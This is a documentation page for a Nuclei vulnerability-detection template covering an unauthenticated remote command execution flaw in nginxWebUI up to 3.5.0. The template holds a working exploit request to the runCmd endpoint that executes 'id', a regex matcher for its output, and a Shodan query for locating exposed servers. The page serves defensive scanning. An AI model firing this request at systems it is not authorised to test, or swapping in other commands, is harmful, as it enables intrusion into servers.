nginxWebUI ≤ 3.5.0 runCmd - Remote Command Execution
ID: nginxwebui-runcmd-rce
Severity: critical
Author: DhiyaneshDk
Tags: nginx,nginxwebui,rce
Description
Section titled “Description”nginxWebUI’s runCmd feature and is caused by incomplete validation of user input. Attackers can exploit the vulnerability by crafting malicious data to execute arbitrary commands on a vulnerable server without authorization.
YAML Source
Section titled “YAML Source”id: nginxwebui-runcmd-rce
info: name: nginxWebUI ≤ 3.5.0 runCmd - Remote Command Execution author: DhiyaneshDk severity: critical description: | nginxWebUI’s runCmd feature and is caused by incomplete validation of user input. Attackers can exploit the vulnerability by crafting malicious data to execute arbitrary commands on a vulnerable server without authorization. reference: - https://github.com/qingchenhh/qc_poc/blob/main/Goby/nginxWebUI_runCmd_rce.go - https://www.ctfiot.com/124166.html - https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/nginxwebui-runcmd-remote-command-execution-vulnerability metadata: verified: true max-request: 1 shodan-query: html:"nginxWebUI" tags: nginx,nginxwebui,rce
http: - method: GET path: - "{{BaseURL}}/AdminPage/conf/runCmd?cmd=id"
matchers-condition: and matchers: - type: regex part: body regex: - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: word part: header words: - "application/json"
- type: status status: - 200# digest: 4b0a004830460221008baf1cbcf0b6d23b954d60753bcf53e4630fd28a695a7d5a51f3134deeb227a7022100e150ceb2cccb49f36f085e413ae6adb06768c64be9c2ce5e524afc2a5b146d3f:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/nginxwebui-runcmd-rce.yaml"